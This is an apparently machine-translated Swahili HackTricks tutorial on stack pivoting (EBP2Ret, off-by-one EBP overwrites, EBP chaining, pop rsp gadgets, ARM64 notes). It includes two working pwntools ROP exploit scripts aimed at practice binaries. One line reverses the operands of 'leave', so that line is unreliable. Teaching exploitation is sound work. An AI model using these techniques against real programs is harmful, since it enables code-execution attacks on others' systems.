Stack Pivoting - EBP2Ret - EBP chaining

Support HackTricks

Basic Information

Teknolojia hii inatumia uwezo wa kudhibiti Base Pointer (EBP) ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya register ya EBP na mfuatano wa amri leave; ret.

Kumbuka, leave kwa msingi inamaanisha:

mov       ebp, esp
pop       ebp
ret

And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.

EBP2Ret

Hii mbinu ni muhimu hasa unapoweza kubadilisha register ya EBP lakini huna njia ya moja kwa moja kubadilisha register ya EIP. Inatumia tabia ya kazi wakati zinamaliza kutekeleza.

Ikiwa, wakati wa utekelezaji wa fvuln, unafanikiwa kuingiza EBP bandia kwenye stack inayotaja eneo katika kumbukumbu ambapo anwani ya shellcode yako inapatikana (plus 4 bytes ili kuzingatia operesheni ya pop), unaweza kudhibiti kwa njia isiyo ya moja kwa moja EIP. Wakati fvuln inarudi, ESP inawekwa kwenye eneo hili lililotengenezwa, na operesheni inayofuata ya pop inapunguza ESP kwa 4, kimsingi inafanya iwe pointing kwa anwani iliyohifadhiwa na mshambuliaji humo. Kumbuka jinsi unavyohitaji kujua anwani 2: Ile ambayo ESP itakwenda, ambapo utahitaji kuandika anwani ambayo inatolewa na ESP.

Exploit Construction

Kwanza unahitaji kujua anwani ambapo unaweza kuandika data / anwani zisizo na mipaka. ESP itakuwa in pointing hapa na kufanya ret ya kwanza.

Kisha, unahitaji kujua anwani inayotumiwa na ret ambayo itafanya kodi zisizo na mipaka. Unaweza kutumia:

  • Anwani halali ya ONE_GADGET.

  • Anwani ya system() ikifuatiwa na bytes 4 za takataka na anwani ya "/bin/sh" (x86 bits).

  • Anwani ya gadget ya jump esp; (ret2esp) ikifuatiwa na shellcode ya kutekeleza.

  • Mnyororo fulani wa ROP

Kumbuka kwamba kabla ya mojawapo ya hizi anwani katika sehemu iliyo na udhibiti wa kumbukumbu, lazima kuwe na 4 bytes kwa sababu ya sehemu ya pop ya amri ya leave. Itakuwa inawezekana kutumia hizi 4B kuweka EBP bandia ya pili na kuendelea kudhibiti utekelezaji.

Off-By-One Exploit

Kuna toleo maalum la mbinu hii linalojulikana kama "Off-By-One Exploit". Inatumika unapoweza kubadilisha tu byte ya chini kabisa ya EBP. Katika hali kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka kwa ret lazima liwe na bytes tatu za kwanza zinazoshiriki na EBP, kuruhusu manipulasi kama hiyo kwa masharti yaliyopangwa zaidi. Kawaida inabadilishwa byte 0x00 ili kuruka mbali iwezekanavyo.

Pia, ni kawaida kutumia RET sled kwenye stack na kuweka mnyororo halisi wa ROP mwishoni ili kuongeza uwezekano kwamba ESP mpya in pointing ndani ya RET SLED na mnyororo wa mwisho wa ROP unatekelezwa.

EBP Chaining

Kwa hivyo, kuweka anwani iliyo na udhibiti katika kiingilio cha EBP cha stack na anwani ya leave; ret katika EIP, inawezekana kuhamasisha ESP kwa anwani ya EBP iliyo na udhibiti kutoka kwenye stack.

Sasa, ESP inadhibitiwa ikielekeza kwenye anwani inayotakiwa na amri inayofuata ya kutekeleza ni RET. Ili kutumia hii, inawezekana kuweka katika sehemu iliyo na udhibiti ya ESP hii:

  • &(next fake EBP) -> Pakia EBP mpya kwa sababu ya pop ebp kutoka kwa amri ya leave

  • system() -> Inaitwa na ret

  • &(leave;ret) -> Inaitwa baada ya mfumo kumaliza, itahamisha ESP kwa EBP bandia na kuanza tena

  • &("/bin/sh")-> Param fro system

Kimsingi kwa njia hii inawezekana kuunganisha EBPs bandia kadhaa ili kudhibiti mtiririko wa programu.

Hii ni kama ret2lib, lakini ngumu zaidi bila faida dhahiri lakini inaweza kuwa ya kuvutia katika baadhi ya hali za ukingo.

Zaidi ya hayo, hapa una mfano wa changamoto inayotumia mbinu hii na stack leak ili kuita kazi ya kushinda. Hii ndiyo payload ya mwisho kutoka kwenye ukurasa:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP huenda isiwe inatumika

Kama ilivyoelezwa katika chapisho hili, ikiwa binary imeandikwa kwa baadhi ya uboreshaji, EBP haitawahi kudhibiti ESP, kwa hivyo, exploit yoyote inayofanya kazi kwa kudhibiti EBP itashindwa kimsingi kwa sababu haina athari halisi. Hii ni kwa sababu prologue na epilogue hubadilika ikiwa binary imeboreshwa.

  • Haitaboreshwa:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Imara:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Njia nyingine za kudhibiti RSP

pop rsp gadget

Katika ukurasa huu unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hii ilihitajika kuita kazi yenye hoja 2 maalum, na kulikuwa na pop rsp gadget na kuna leak kutoka kwenye stack:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Angalia mbinu ya ret2esp hapa:

Ret2esp / Ret2reg

Marejeleo na Mifano Mingine

ARM64

Katika ARM64, prologue na epilogues za kazi hazihifadhi na kurejesha usajili wa SP katika stack. Zaidi ya hayo, amri ya RET hairejeshi kwenye anwani inayotolewa na SP, bali kwenye anwani ndani ya x30.

Hivyo, kwa kawaida, kwa kutumia epilogue huwezi kudhibiti usajili wa SP kwa kuandika data fulani ndani ya stack. Na hata kama unafanikiwa kudhibiti SP bado unahitaji njia ya kudhibiti usajili wa x30.

  • prologue

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP inashikilia rekodi ya frame
  • epilogue

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Njia ya kufanya kitu kinachofanana na stack pivoting katika ARM64 itakuwa kuwa na uwezo wa kudhibiti SP (kwa kudhibiti usajili fulani ambao thamani yake inapitishwa kwa SP au kwa sababu fulani SP inachukua anwani yake kutoka stack na tuna overflow) na kisha kuandika epilogu ili kupakia usajili wa x30 kutoka SP iliyo kudhibitiwa na RET kwake.

Pia katika ukurasa ufuatao unaweza kuona sawa na Ret2esp katika ARM64:

Ret2esp / Ret2reg
Support HackTricks

Last updated